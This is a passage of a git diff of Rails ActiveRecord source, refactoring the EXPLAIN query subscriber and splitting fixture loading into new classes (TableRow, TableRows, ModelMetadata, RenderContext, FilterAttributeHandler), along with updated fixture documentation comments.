   class ExplainRegistry # :nodoc:
-    extend ActiveSupport::PerThreadRegistry
+    class Subscriber
+      MUTEX = Mutex.new
+      @subscribed = false
+
+      class << self
+        def ensure_subscribed
+          return if @subscribed
+          MUTEX.synchronize do
+            return if @subscribed
+
+            ActiveSupport::Notifications.subscribe("sql.active_record", new)
+            @subscribed = true
+          end
+        end
+      end
+
+      def start(name, id, payload)
+        # unused
+      end
+
+      def finish(name, id, payload)
+        if ExplainRegistry.collect? && !ignore_payload?(payload)
+          ExplainRegistry.queries << payload.values_at(:sql, :binds)
+        end
+      end
+
+      def silenced?(_name)
+        !ExplainRegistry.collect?
+      end
 
-    attr_accessor :queries, :collect
+      # SCHEMA queries cannot be EXPLAINed, also we do not want to run EXPLAIN on
+      # our own EXPLAINs no matter how loopingly beautiful that would be.
+      #
+      # On the other hand, we want to monitor the performance of our real database
+      # queries, not the performance of the access to the query cache.
+      IGNORED_PAYLOADS = %w(SCHEMA EXPLAIN)
+      EXPLAINED_SQLS = /\A\s*(\/\*.*\*\/)?\s*(with|select|update|delete|insert)\b/i
+      def ignore_payload?(payload)
+        payload[:exception] ||
+          payload[:cached] ||
+          IGNORED_PAYLOADS.include?(payload[:name]) ||
+          !payload[:sql].match?(EXPLAINED_SQLS)
+      end
+    end
+
+    class << self
+      delegate :start, :reset, :collect, :collect=, :collect?, :queries, to: :instance
+
+      private
+        def instance
+          ActiveSupport::IsolatedExecutionState[:active_record_explain_registry] ||= new
+        end
+    end
+
+    attr_accessor :collect
+    attr_reader :queries
 
     def initialize
       reset
     end
 
+    def start
+      Subscriber.ensure_subscribed
+      @collect = true
+    end
+
     def collect?
       @collect
     end
diff --git a/activerecord/lib/active_record/explain_subscriber.rb b/activerecord/lib/active_record/explain_subscriber.rb
deleted file mode 100644
index abd8cfc8f2411..0000000000000
--- a/activerecord/lib/active_record/explain_subscriber.rb
+++ /dev/null
@@ -1,32 +0,0 @@
-require "active_support/notifications"
-require "active_record/explain_registry"
-
-module ActiveRecord
-  class ExplainSubscriber # :nodoc:
-    def start(name, id, payload)
-      # unused
-    end
-
-    def finish(name, id, payload)
-      if ExplainRegistry.collect? && !ignore_payload?(payload)
-        ExplainRegistry.queries << payload.values_at(:sql, :binds)
-      end
-    end
-
-    # SCHEMA queries cannot be EXPLAINed, also we do not want to run EXPLAIN on
-    # our own EXPLAINs no matter how loopingly beautiful that would be.
-    #
-    # On the other hand, we want to monitor the performance of our real database
-    # queries, not the performance of the access to the query cache.
-    IGNORED_PAYLOADS = %w(SCHEMA EXPLAIN)
-    EXPLAINED_SQLS = /\A\s*(with|select|update|delete|insert)\b/i
-    def ignore_payload?(payload)
-      payload[:exception] ||
-        payload[:cached] ||
-        IGNORED_PAYLOADS.include?(payload[:name]) ||
-        payload[:sql] !~ EXPLAINED_SQLS
-    end
-
-    ActiveSupport::Notifications.subscribe("sql.active_record", new)
-  end
-end
diff --git a/activerecord/lib/active_record/filter_attribute_handler.rb b/activerecord/lib/active_record/filter_attribute_handler.rb
new file mode 100644
index 0000000000000..ee03ff361bfd6
--- /dev/null
+++ b/activerecord/lib/active_record/filter_attribute_handler.rb
@@ -0,0 +1,73 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  class FilterAttributeHandler # :nodoc:
+    class << self
+      def on_sensitive_attribute_declared(&block)
+        @sensitive_attribute_declaration_listeners ||= Concurrent::Array.new
+        @sensitive_attribute_declaration_listeners << block
+      end
+
+      def sensitive_attribute_was_declared(klass, list)
+        @sensitive_attribute_declaration_listeners&.each do |block|
+          block.call(klass, list)
+        end
+      end
+    end
+
+    def initialize(app)
+      @app = app
+      @attributes_by_class = Concurrent::Map.new
+      @collecting = true
+    end
+
+    def enable
+      install_collecting_hook
+
+      apply_collected_attributes
+      @collecting = false
+    end
+
+    private
+      attr_reader :app
+
+      def install_collecting_hook
+        self.class.on_sensitive_attribute_declared do |klass, list|
+          attribute_was_declared(klass, list)
+        end
+      end
+
+      def attribute_was_declared(klass, list)
+        if collecting?
+          collect_for_later(klass, list)
+        else
+          apply_filter(klass, list)
+        end
+      end
+
+      def apply_collected_attributes
+        @attributes_by_class.each do |klass, list|
+          apply_filter(klass, list)
+        end
+      end
+
+      def collecting?
+        @collecting
+      end
+
+      def collect_for_later(klass, list)
+        @attributes_by_class[klass] ||= Concurrent::Array.new
+        @attributes_by_class[klass] += list
+      end
+
+      def apply_filter(klass, list)
+        list.each do |attribute|
+          next if klass.abstract_class? || klass == Base
+
+          klass_name = klass.name ? klass.model_name.element : nil
+          filter = [klass_name, attribute.to_s].compact.join(".")
+          app.config.filter_parameters << filter unless app.config.filter_parameters.include?(filter)
+        end
+      end
+  end
+end
diff --git a/activerecord/lib/active_record/fixture_set/file.rb b/activerecord/lib/active_record/fixture_set/file.rb
index 6cf2e011798c7..1112ac0ff994f 100644
--- a/activerecord/lib/active_record/fixture_set/file.rb
+++ b/activerecord/lib/active_record/fixture_set/file.rb
@@ -1,5 +1,6 @@
-require "erb"
-require "yaml"
+# frozen_string_literal: true
+
+require "active_support/configuration_file"
 
 module ActiveRecord
   class FixtureSet
@@ -27,6 +28,10 @@ def model_class
         config_row["model_class"]
       end
 
+      def ignored_fixtures
+        config_row["ignore"]
+      end
+
       private
         def rows
           @rows ||= raw_rows.reject { |fixture_name, _| fixture_name == "_fixture" }
@@ -36,31 +41,35 @@ def config_row
           @config_row ||= begin
             row = raw_rows.find { |fixture_name, _| fixture_name == "_fixture" }
             if row
-              row.last
+              validate_config_row(row.last)
             else
-              { 'model_class': nil }
+              { 'model_class': nil, 'ignore': nil }
             end
           end
         end
 
         def raw_rows
           @raw_rows ||= begin
-            data = YAML.load(render(IO.read(@file)))
+            data = ActiveSupport::ConfigurationFile.parse(@file, context:
+              ActiveRecord::FixtureSet::RenderContext.create_subclass.new.get_binding)
             data ? validate(data).to_a : []
-          rescue ArgumentError, Psych::SyntaxError => error
-            raise Fixture::FormatError, "a YAML error occurred parsing #{@file}. Please note that YAML must be consistently indented using spaces. Tabs are not allowed. Please have a look at http://www.yaml.org/faq.html\nThe exact error was:\n  #{error.class}: #{error}", error.backtrace
+          rescue RuntimeError => error
+            raise Fixture::FormatError, error.message
           end
         end
 
-        def prepare_erb(content)
-          erb = ERB.new(content)
-          erb.filename = @file
-          erb
-        end
+        def validate_config_row(data)
+          unless Hash === data
+            raise Fixture::FormatError, "Invalid `_fixture` section: `_fixture` must be a hash: #{@file}"
+          end
+
+          begin
+            data.assert_valid_keys("model_class", "ignore")
+          rescue ArgumentError => error
+            raise Fixture::FormatError, "Invalid `_fixture` section: #{error.message}: #{@file}"
+          end
 
-        def render(content)
-          context = ActiveRecord::FixtureSet::RenderContext.create_subclass.new
-          prepare_erb(content).result(context.get_binding)
+          data
         end
 
         # Validate our unmarshalled data.
diff --git a/activerecord/lib/active_record/fixture_set/model_metadata.rb b/activerecord/lib/active_record/fixture_set/model_metadata.rb
new file mode 100644
index 0000000000000..a00674d1bdab2
--- /dev/null
+++ b/activerecord/lib/active_record/fixture_set/model_metadata.rb
@@ -0,0 +1,42 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  class FixtureSet
+    class ModelMetadata # :nodoc:
+      def initialize(model_class)
+        @model_class = model_class
+      end
+
+      def primary_key_name
+        @primary_key_name ||= @model_class && @model_class.primary_key
+      end
+
+      def primary_key_type
+        @primary_key_type ||= @model_class && column_type(@model_class.primary_key)
+      end
+
+      def column_type(column_name)
+        @column_type ||= {}
+        return @column_type[column_name] if @column_type.key?(column_name)
+
+        @column_type[column_name] = @model_class && @model_class.type_for_attribute(column_name).type
+      end
+
+      def has_column?(column_name)
+        column_names.include?(column_name)
+      end
+
+      def column_names
+        @column_names ||= @model_class ? @model_class.columns.map(&:name).to_set : Set.new
+      end
+
+      def timestamp_column_names
+        @model_class.all_timestamp_attributes_in_model
+      end
+
+      def inheritance_column_name
+        @inheritance_column_name ||= @model_class && @model_class.inheritance_column
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/fixture_set/render_context.rb b/activerecord/lib/active_record/fixture_set/render_context.rb
new file mode 100644
index 0000000000000..3233a6b6ce84d
--- /dev/null
+++ b/activerecord/lib/active_record/fixture_set/render_context.rb
@@ -0,0 +1,19 @@
+# frozen_string_literal: true
+
+require "base64"
+
+# NOTE: This class has to be defined in compact style in
+# order for rendering context subclassing to work correctly.
+class ActiveRecord::FixtureSet::RenderContext # :nodoc:
+  def self.create_subclass
+    Class.new(ActiveRecord::FixtureSet.context_class) do
+      def get_binding
+        binding()
+      end
+
+      def binary(path)
+        %(!!binary "#{Base64.strict_encode64(File.binread(path))}")
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/fixture_set/table_row.rb b/activerecord/lib/active_record/fixture_set/table_row.rb
new file mode 100644
index 0000000000000..c594ef1a37103
--- /dev/null
+++ b/activerecord/lib/active_record/fixture_set/table_row.rb
@@ -0,0 +1,225 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  class FixtureSet
+    class TableRow # :nodoc:
+      class ReflectionProxy # :nodoc:
+        def initialize(association)
+          @association = association
+        end
+
+        def join_table
+          @association.join_table
+        end
+
+        def name
+          @association.name
+        end
+
+        def primary_key_type
+          @association.klass.type_for_attribute(@association.klass.primary_key).type
+        end
+      end
+
+      class HasManyThroughProxy < ReflectionProxy # :nodoc:
+        def rhs_key
+          @association.foreign_key
+        end
+
+        def lhs_key
+          @association.through_reflection.foreign_key
+        end
+
+        def join_table
+          @association.through_reflection.table_name
+        end
+
+        def timestamp_column_names
+          @association.through_reflection.klass.all_timestamp_attributes_in_model
+        end
+      end
+
+      class PrimaryKeyError < StandardError # :nodoc:
+        def initialize(label, association, value)
+          super(<<~MSG)
+            Unable to set #{association.name} to #{value} because the association has a
+            custom primary key (#{association.join_primary_key}) that does not match the
+            associated table's primary key (#{association.klass.primary_key}).
+
+            To fix this, change your fixture from
+
+            #{label}:
+              #{association.name}: #{value}
+
+            to
+
+            #{label}:
+              #{association.foreign_key}: **value**
+
+            where **value** is the #{association.join_primary_key} value for the
+            associated #{association.klass.name} record.
+          MSG
+        end
+      end
+
+      def initialize(fixture, table_rows:, label:, now:)
+        @table_rows = table_rows
+        @label = label
+        @now = now
+        @row = fixture.to_hash
+        fill_row_model_attributes
+      end
+
+      def to_hash
+        @row
+      end
+
+      private
+        def model_metadata
+          @table_rows.model_metadata
+        end
+
+        def model_class
+          @table_rows.model_class
+        end
+
+        def fill_row_model_attributes
+          return unless model_class
+          fill_timestamps
+          interpolate_label
+          model_class.composite_primary_key? ? generate_composite_primary_key : generate_primary_key
+          resolve_enums
+          resolve_sti_reflections
+        end
+
+        def reflection_class
+          @reflection_class ||= if @row.include?(model_metadata.inheritance_column_name)
+            @row[model_metadata.inheritance_column_name].constantize rescue model_class
+          else
+            model_class
+          end
+        end
+
+        def fill_timestamps
+          # fill in timestamp columns if they aren't specified and the model is set to record_timestamps
+          if model_class.record_timestamps
+            model_metadata.timestamp_column_names.each do |c_name|
+              @row[c_name] = @now unless @row.key?(c_name)
+            end
+          end
+        end
+
+        def interpolate_label
+          # interpolate the fixture label
+          @row.each do |key, value|
+            @row[key] = value.gsub("$LABEL", @label.to_s) if value.is_a?(String)
+          end
+        end
+
+        def generate_primary_key
+          pk = model_metadata.primary_key_name
+
+          unless column_defined?(pk)
+            @row[pk] = ActiveRecord::FixtureSet.identify(@label, model_metadata.column_type(pk))
+          end
+        end
+
+        def generate_composite_primary_key
+          composite_key = ActiveRecord::FixtureSet.composite_identify(@label, model_metadata.primary_key_name)
+          composite_key.each do |column, value|
+            next if column_defined?(column)
+
+            @row[column] = value
+          end
+        end
+
+        def column_defined?(col)
+          !model_metadata.has_column?(col) || @row.include?(col)
+        end
+
+        def resolve_enums
+          reflection_class.defined_enums.each do |name, values|
+            if @row.include?(name)
+              @row[name] = values.fetch(@row[name], @row[name])
+            end
+          end
+        end
+
+        def resolve_sti_reflections
+          # If STI is used, find the correct subclass for association reflection
+          reflection_class._reflections.each_value do |association|
+            case association.macro
+            when :belongs_to
+              # Do not replace association name with association foreign key if they are named the same
+              fk_name = association.join_foreign_key
+
+              if association.name.to_s != fk_name && value = @row.delete(association.name.to_s)
+                if association.polymorphic?
+                  if value.sub!(/\s*\(([^)]*)\)\s*$/, "")
+                    # support polymorphic belongs_to as "label (Type)"
+                    @row[association.join_foreign_type] = $1
+                  end
+                elsif association.join_primary_key != association.klass.primary_key
+                  raise PrimaryKeyError.new(@label, association, value)
+                end
+
+                if fk_name.is_a?(Array)
+                  composite_key = ActiveRecord::FixtureSet.composite_identify(value, fk_name)
+                  composite_key.each do |column, value|
+                    next if column_defined?(column)
+
+                    @row[column] = value
+                  end
+                else
+                  fk_type = reflection_class.type_for_attribute(fk_name).type
+                  @row[fk_name] = ActiveRecord::FixtureSet.identify(value, fk_type)
+                end
+              end
+            when :has_many
+              if association.options[:through]
+                add_join_records(HasManyThroughProxy.new(association))
+              end
+            end
+          end
+        end
+
+        def add_join_records(association)
+          # This is the case when the join table has no fixtures file
+          if (targets = @row.delete(association.name.to_s))
+            table_name  = association.join_table
+            column_type = association.primary_key_type
+            lhs_key     = association.lhs_key
+            rhs_key     = association.rhs_key
+
+            targets = targets.is_a?(Array) ? targets : targets.split(/\s*,\s*/)
+            joins   = targets.map do |target|
+              join = {}
+
+              if rhs_key.is_a?(Array)
+                composite_key = ActiveRecord::FixtureSet.composite_identify(target, rhs_key)
+                composite_key.each do |column, value|
+                  join[column] = value
+                end
+              else
+                join[rhs_key] = ActiveRecord::FixtureSet.identify(target, column_type)
+              end
+
+              if lhs_key.is_a?(Array)
+                lhs_key.zip(model_metadata.primary_key_name).each do |fkey, pkey|
+                  join[fkey] = @row[pkey]
+                end
+              else
+                join[lhs_key] = @row[model_metadata.primary_key_name]
+              end
+
+              association.timestamp_column_names.each do |col|
+                join[col] = @now
+              end
+              join
+            end
+            @table_rows.tables[table_name].concat(joins)
+          end
+        end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/fixture_set/table_rows.rb b/activerecord/lib/active_record/fixture_set/table_rows.rb
new file mode 100644
index 0000000000000..b7173729f776c
--- /dev/null
+++ b/activerecord/lib/active_record/fixture_set/table_rows.rb
@@ -0,0 +1,46 @@
+# frozen_string_literal: true
+
+require "active_record/fixture_set/table_row"
+require "active_record/fixture_set/model_metadata"
+
+module ActiveRecord
+  class FixtureSet
+    class TableRows # :nodoc:
+      def initialize(table_name, model_class:, fixtures:)
+        @model_class = model_class
+
+        # track any join tables we need to insert later
+        @tables = Hash.new { |h, table| h[table] = [] }
+
+        # ensure this table is loaded before any HABTM associations
+        @tables[table_name] = nil
+
+        build_table_rows_from(table_name, fixtures)
+      end
+
+      attr_reader :tables, :model_class
+
+      def to_hash
+        @tables.transform_values { |rows| rows.map(&:to_hash) }
+      end
+
+      def model_metadata
+        @model_metadata ||= ModelMetadata.new(model_class)
+      end
+
+      private
+        def build_table_rows_from(table_name, fixtures)
+          now = ActiveRecord.default_timezone == :utc ? Time.now.utc : Time.now
+
+          @tables[table_name] = fixtures.map do |label, fixture|
+            TableRow.new(
+              fixture,
+              table_rows: self,
+              label: label,
+              now: now,
+            )
+          end
+        end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/fixtures.rb b/activerecord/lib/active_record/fixtures.rb
index 91d8054ef2115..73b17fd92cab5 100644
--- a/activerecord/lib/active_record/fixtures.rb
+++ b/activerecord/lib/active_record/fixtures.rb
@@ -1,21 +1,26 @@
+# frozen_string_literal: true
+
 require "erb"
 require "yaml"
-require "zlib"
-require "set"
 require "active_support/dependencies"
 require "active_support/core_ext/digest/uuid"
-require "active_record/fixture_set/file"
-require "active_record/errors"
+require "active_record/test_fixtures"
 
 module ActiveRecord
-  class FixtureClassNotFound < ActiveRecord::ActiveRecordError #:nodoc:
+  class FixtureClassNotFound < ActiveRecord::ActiveRecordError # :nodoc:
   end
 
+  # = Active Record \Fixtures
+  #
   # \Fixtures are a way of organizing data that you want to test against; in short, sample data.
   #
-  # They are stored in YAML files, one file per model, which are placed in the directory
-  # appointed by <tt>ActiveSupport::TestCase.fixture_path=(path)</tt> (this is automatically
-  # configured for Rails, so you can just put your files in <tt><your-rails-app>/test/fixtures/</tt>).
+  # They are stored in YAML files, one file per model, which are by default placed in either
+  # <tt><your-rails-app>/test/fixtures/</tt> or in the <tt>test/fixtures</tt>
+  # folder under any of your application's engines.
+  #
+  # The location can also be changed with ActiveSupport::TestCase.fixture_paths=,
+  # once you have <tt>require "rails/test_help"</tt> in your +test_helper.rb+.
+  #
   # The fixture file ends with the +.yml+ file extension, for example:
   # <tt><your-rails-app>/test/fixtures/web_sites.yml</tt>).
   #
@@ -31,14 +36,21 @@ class FixtureClassNotFound < ActiveRecord::ActiveRecordError #:nodoc:
   #     name: Google
   #     url: http://www.google.com
   #
-  # This fixture file includes two fixtures. Each YAML fixture (ie. record) is given a name and
+  # This fixture file includes two fixtures. Each YAML fixture (i.e. record) is given a name and
   # is followed by an indented list of key/value pairs in the "key: value" format. Records are
   # separated by a blank line for your viewing pleasure.
   #
-  # Note: Fixtures are unordered. If you want ordered fixtures, use the omap YAML type.
-  # See http://yaml.org/type/omap.html
-  # for the specification. You will need ordered fixtures when you have foreign key constraints
-  # on keys in the same table. This is commonly needed for tree structures. Example:
+  # == Ordering
+  #
+  # Fixtures by default are unordered. This is because the maps in YAML are unordered.
+  #
+  # If you want ordered fixtures, use the omap YAML type.
+  # See https://yaml.org/type/omap.html for the specification.
+  #
+  # You will need ordered fixtures when you have foreign key constraints
+  # on keys in the same table. This is commonly needed for tree structures.
+  #
+  # For example:
   #
   #    --- !omap
   #    - parent:
@@ -50,12 +62,12 @@ class FixtureClassNotFound < ActiveRecord::ActiveRecordError #:nodoc:
   #        parent_id:  1
   #        title:      Child
   #
-  # = Using Fixtures in Test Cases
+  # == Using Fixtures in Test Cases
   #
   # Since fixtures are a testing construct, we use them in our unit and functional tests. There
   # are two ways to use the fixtures, but first let's take a look at a sample unit test:
   #
-  #   require 'test_helper'
+  #   require "test_helper"
   #
   #   class WebSiteTest < ActiveSupport::TestCase
   #     test "web_site_count" do
@@ -70,13 +82,38 @@ class FixtureClassNotFound < ActiveRecord::ActiveRecordError #:nodoc:
   # test. To ensure consistent data, the environment deletes the fixtures before running the load.
   #
   # In addition to being available in the database, the fixture's data may also be accessed by
-  # using a special dynamic method, which has the same name as the model, and accepts the
-  # name of the fixture to instantiate:
+  # using a special dynamic method, which has the same name as the model.
   #
-  #   test "find" do
+  # Passing in a fixture name to this dynamic method returns the fixture matching this name:
+  #
+  #   test "find one" do
   #     assert_equal "Ruby on Rails", web_sites(:rubyonrails).name
   #   end
   #
+  # Passing in multiple fixture names returns all fixtures matching these names:
+  #
+  #   test "find all by name" do
+  #     assert_equal 2, web_sites(:rubyonrails, :google).length
+  #   end
+  #
+  # Passing in no arguments returns all fixtures:
+  #
+  #   test "find all" do
+  #     assert_equal 2, web_sites.length
+  #   end
+  #
+  # Passing in any fixture name that does not exist will raise <tt>StandardError</tt>:
+  #
+  #   test "find by name that does not exist" do
+  #     assert_raise(StandardError) { web_sites(:reddit) }
+  #   end
+  #
+  # If the model names conflicts with a +TestCase+ methods, you can use the generic +fixture+ accessor
+  #
+  #   test "generic find" do
+  #     assert_equal "Ruby on Rails", fixture(:web_sites, :rubyonrails).name
+  #   end
+  #
   # Alternatively, you may enable auto-instantiation of the fixture data. For instance, take the
   # following tests:
   #
@@ -101,7 +138,7 @@ class FixtureClassNotFound < ActiveRecord::ActiveRecordError #:nodoc:
   # traversed in the database to create the fixture hash and/or instance variables. This is expensive for
   # large sets of fixtured data.
   #
-  # = Dynamic fixtures with ERB
+  # == Dynamic fixtures with \ERB
   #
   # Sometimes you don't care about the content of the fixtures as much as you care about the volume.
   # In these cases, you can mix ERB in with your YAML fixtures to create a bunch of fixtures for load
@@ -126,10 +163,10 @@ class FixtureClassNotFound < ActiveRecord::ActiveRecordError #:nodoc:
   # unwanted inter-test dependencies. Methods used by multiple fixtures should be defined in a module
   # that is included in ActiveRecord::FixtureSet.context_class.
   #
-  # - define a helper method in `test_helper.rb`
+  # - define a helper method in <tt>test_helper.rb</tt>
   #     module FixtureFileHelpers
   #       def file_sha(path)
-  #         Digest::SHA2.hexdigest(File.read(Rails.root.join('test/fixtures', path)))
+  #         OpenSSL::Digest::SHA256.hexdigest(File.read(Rails.root.join('test/fixtures', path)))
   #       end
   #     end
   #     ActiveRecord::FixtureSet.context_class.include FixtureFileHelpers
@@ -139,7 +176,7 @@ class FixtureClassNotFound < ActiveRecord::ActiveRecordError #:nodoc:
   #       name: kitten.png
   #       sha: <%= file_sha 'files/kitten.png' %>
   #
-  # = Transactional Tests
+  # == Transactional Tests
   #
   # Test cases can use begin+rollback to isolate their changes to the database instead of having to
   # delete+insert for every test case.
@@ -148,18 +185,18 @@ class FixtureClassNotFound < ActiveRecord::ActiveRecordError #:nodoc:
   #     self.use_transactional_tests = true
   #
   #     test "godzilla" do
-  #       assert !Foo.all.empty?
+  #       assert_not_empty Foo.all
   #       Foo.destroy_all
-  #       assert Foo.all.empty?
+  #       assert_empty Foo.all
   #     end
   #
   #     test "godzilla aftermath" do
-  #       assert !Foo.all.empty?
+  #       assert_not_empty Foo.all
   #     end
   #   end
   #
-  # If you preload your test database with all fixture data (probably in the rake task) and use
-  # transactional tests, then you may omit all fixtures declarations in your test cases since
+  # If you preload your test database with all fixture data (probably by running <tt>bin/rails db:fixtures:load</tt>)
+  # and use transactional tests, then you may omit all fixtures declarations in your test cases since
   # all the data's already there and every case rolls back its changes.
   #
   # In order to use instantiated fixtures with preloaded data, set +self.pre_loaded_fixtures+ to
@@ -175,7 +212,7 @@ class FixtureClassNotFound < ActiveRecord::ActiveRecordError #:nodoc:
   # 2. Your database does not support transactions. Every Active Record database supports transactions except MySQL MyISAM.
   #    Use InnoDB, MaxDB, or NDB instead.
   #
-  # = Advanced Fixtures
+  # == Advanced Fixtures
   #
   # Fixtures that don't specify an ID get some extra features:
   #
@@ -189,7 +226,7 @@ class FixtureClassNotFound < ActiveRecord::ActiveRecordError #:nodoc:
   # * Fixture label interpolation
   # * Support for YAML defaults
   #
-  # == Stable, Autogenerated IDs
+  # === Stable, Autogenerated IDs
   #
   # Here, have a monkey fixture:
   #
@@ -205,10 +242,10 @@ class FixtureClassNotFound < ActiveRecord::ActiveRecordError #:nodoc:
   # and one for the humans. Why don't we generate the primary key instead?
   # Hashing each fixture's label yields a consistent ID:
   #
-  #   george: # generated id: 503576764
+  #   george: # generated id: 380982691
   #     name: George the Monkey
   #
-  #   reginald: # generated id: 324201669
+  #   reginald: # generated id: 41001176
   #     name: Reginald the Pirate
   #
   # Active Record looks at the fixture's model class, discovers the correct
@@ -218,13 +255,13 @@ class FixtureClassNotFound < ActiveRecord::ActiveRecordError #:nodoc:
   # The generated ID for a given label is constant, so we can discover
   # any fixture's ID without loading anything, as long as we know the label.
   #
-  # == Label references for associations (belongs_to, has_one, has_many)
+  # === Label references for associations (+belongs_to+, +has_one+, +has_many+)
   #
   # Specifying foreign keys in fixtures can be very fragile, not to
   # mention difficult to read. Since Active Record can figure out the ID of
   # any fixture from its label, you can specify FK's by label instead of ID.
   #
-  # === belongs_to
+  # ==== +belongs_to+
   #
   # Let's break out some more monkeys and pirates.
   #
@@ -235,6 +272,8 @@ class FixtureClassNotFound < ActiveRecord::ActiveRecordError #:nodoc:
   #     name: Reginald the Pirate
   #     monkey_id: 1
   #
+  # <code></code>
+  #
   #   ### in monkeys.yml
   #
   #   george:
@@ -252,6 +291,8 @@ class FixtureClassNotFound < ActiveRecord::ActiveRecordError #:nodoc:
   #     name: Reginald the Pirate
   #     monkey: george
   #
+  # <code></code>
+  #
   #   ### in monkeys.yml
   #
   #   george:
@@ -263,7 +304,7 @@ class FixtureClassNotFound < ActiveRecord::ActiveRecordError #:nodoc:
   # a target *label* for the *association* (monkey: george) rather than
   # a target *id* for the *FK* (<tt>monkey_id: 1</tt>).
   #
-  # ==== Polymorphic belongs_to
+  # ==== Polymorphic +belongs_to+
   #
   # Supporting polymorphic relationships is a little bit more complicated, since
   # Active Record needs to know what type your association is pointing at. Something
@@ -273,6 +314,8 @@ class FixtureClassNotFound < ActiveRecord::ActiveRecordError #:nodoc:
   #
   #   belongs_to :eater, polymorphic: true
   #
+  # <code></code>
+  #
   #   ### in fruits.yml
   #
   #   apple:
@@ -288,9 +331,9 @@ class FixtureClassNotFound < ActiveRecord::ActiveRecordError #:nodoc:
   #
   # Just provide the polymorphic target type and Active Record will take care of the rest.
   #
-  # === has_and_belongs_to_many
+  # ==== +has_and_belongs_to_many+ or <tt>has_many :through</tt>
   #
-  # Time to give our monkey some fruit.
+  # \Time to give our monkey some fruit.
   #
   #   ### in monkeys.yml
   #
@@ -298,6 +341,8 @@ class FixtureClassNotFound < ActiveRecord::ActiveRecordError #:nodoc:
   #     id: 1
   #     name: George the Monkey
   #
+  # <code></code>
+  #
   #   ### in fruits.yml
   #
   #   apple:
@@ -312,6 +357,8 @@ class FixtureClassNotFound < ActiveRecord::ActiveRecordError #:nodoc:
   #     id: 3
   #     name: grape
   #
+  # <code></code>
+  #
   #   ### in fruits_monkeys.yml
   #
   #   apple_george:
@@ -335,6 +382,8 @@ class FixtureClassNotFound < ActiveRecord::ActiveRecordError #:nodoc:
   #     name: George the Monkey
   #     fruits: apple, orange, grape
   #
+  # <code></code>
+  #
   #   ### in fruits.yml
   #
   #   apple:
@@ -352,7 +401,7 @@ class FixtureClassNotFound < ActiveRecord::ActiveRecordError #:nodoc:
   # the fixture's model class and discovers the +has_and_belongs_to_many+
   # associations.
   #
-  # == Autofilled Timestamp Columns
+  # === Autofilled \Timestamp Columns
   #
   # If your table/model specifies any of Active Record's
   # standard timestamp columns (+created_at+, +created_on+, +updated_at+, +updated_on+),
@@ -360,7 +409,7 @@ class FixtureClassNotFound < ActiveRecord::ActiveRecordError #:nodoc:
   #
   # If you've set specific values, they'll be left alone.
   #
-  # == Fixture label interpolation
+  # === Fixture label interpolation
   #
   # The label of the current fixture is always available as a column value:
   #
@@ -377,14 +426,18 @@ class FixtureClassNotFound < ActiveRecord::ActiveRecordError #:nodoc:
   #     monkey_id: <%= ActiveRecord::FixtureSet.identify(:reginald) %>
   #     pirate_id: <%= ActiveRecord::FixtureSet.identify(:george) %>
   #
-  # == Support for YAML defaults
+  # If the model uses UUID values for identifiers, add the +:uuid+ argument:
+  #
+  #   ActiveRecord::FixtureSet.identify(:boaty_mcboatface, :uuid)
+  #
+  # === Support for YAML defaults
   #
   # You can set and reuse defaults in your fixtures YAML file.
   # This is the same technique used in the +database.yml+ file to specify
   # defaults:
   #
   #   DEFAULTS: &DEFAULTS
-  #     created_on: <%= 3.weeks.ago.to_s(:db) %>
+  #     created_on: <%= 3.weeks.ago.to_fs(:db) %>
   #
   #   first:
   #     name: Smurf
@@ -396,12 +449,74 @@ class FixtureClassNotFound < ActiveRecord::ActiveRecordError #:nodoc:
   #
   # Any fixture labeled "DEFAULTS" is safely ignored.
   #
+  # Besides using "DEFAULTS", you can also specify what fixtures will
+  # be ignored by setting "ignore" in "_fixture" section.
+  #
+  #   # users.yml
+  #   _fixture:
+  #     ignore:
+  #       - base
+  #     # or use "ignore: base" when there is only one fixture that needs to be ignored.
+  #
+  #   base: &base
+  #     admin: false
+  #     introduction: "This is a default description"
+  #
+  #   admin:
+  #     <<: *base
+  #     admin: true
+  #
+  #   visitor:
+  #     <<: *base
+  #
+  # In the above example, 'base' will be ignored when creating fixtures.
+  # This can be used for common attributes inheriting.
+  #
+  # == Composite Primary Key Fixtures
+  #
+  # Fixtures for composite primary key tables are fairly similar to normal tables.
+  # When using an id column, the column may be omitted as usual:
+  #
+  #   # app/models/book.rb
+  #   class Book < ApplicationRecord
+  #     self.primary_key = [:author_id, :id]
+  #     belongs_to :author
+  #   end
+  #
+  # <code></code>
+  #
+  #   # books.yml
+  #   alices_adventure_in_wonderland:
+  #     author_id: <%= ActiveRecord::FixtureSet.identify(:lewis_carroll) %>
+  #     title: "Alice's Adventures in Wonderland"
+  #
+  # However, in order to support composite primary key relationships,
+  # you must use the `composite_identify` method:
+  #
+  #   # app/models/book_orders.rb
+  #   class BookOrder < ApplicationRecord
+  #     self.primary_key = [:shop_id, :id]
+  #     belongs_to :order, foreign_key: [:shop_id, :order_id]
+  #     belongs_to :book, foreign_key: [:author_id, :book_id]
+  #   end
+  #
+  # <code></code>
+  #
+  #   # book_orders.yml
+  #   alices_adventure_in_wonderland_in_books:
+  #     author: lewis_carroll
+  #     book_id: <%= ActiveRecord::FixtureSet.composite_identify(
+  #                  :alices_adventure_in_wonderland, Book.primary_key)[:id] %>
+  #     shop: book_store
+  #     order_id: <%= ActiveRecord::FixtureSet.composite_identify(
+  #                  :books, Order.primary_key)[:id] %>
+  #
   # == Configure the fixture model class
   #
   # It's possible to set the fixture's model class directly in the YAML file.
   # This is helpful when fixtures are loaded outside tests and
   # +set_fixture_class+ is not available (e.g.
-  # when running <tt>rails db:fixtures:load</tt>).
+  # when running <tt>bin/rails db:fixtures:load</tt>).
   #
   #   _fixture:
   #     model_class: User
@@ -410,6 +525,10 @@ class FixtureClassNotFound < ActiveRecord::ActiveRecordError #:nodoc:
   #
   # Any fixtures labeled "_fixture" are safely ignored.
   class FixtureSet
+    require "active_record/fixture_set/file"
+    require "active_record/fixture_set/render_context"
+    require "active_record/fixture_set/table_rows"
+
     #--
     # An instance of FixtureSet is normally stored in a single YAML file and
     # possibly in a folder with the same name.
@@ -419,189 +538,187 @@ class FixtureSet
 
     @@all_cached_fixtures = Hash.new { |h, k| h[k] = {} }
 
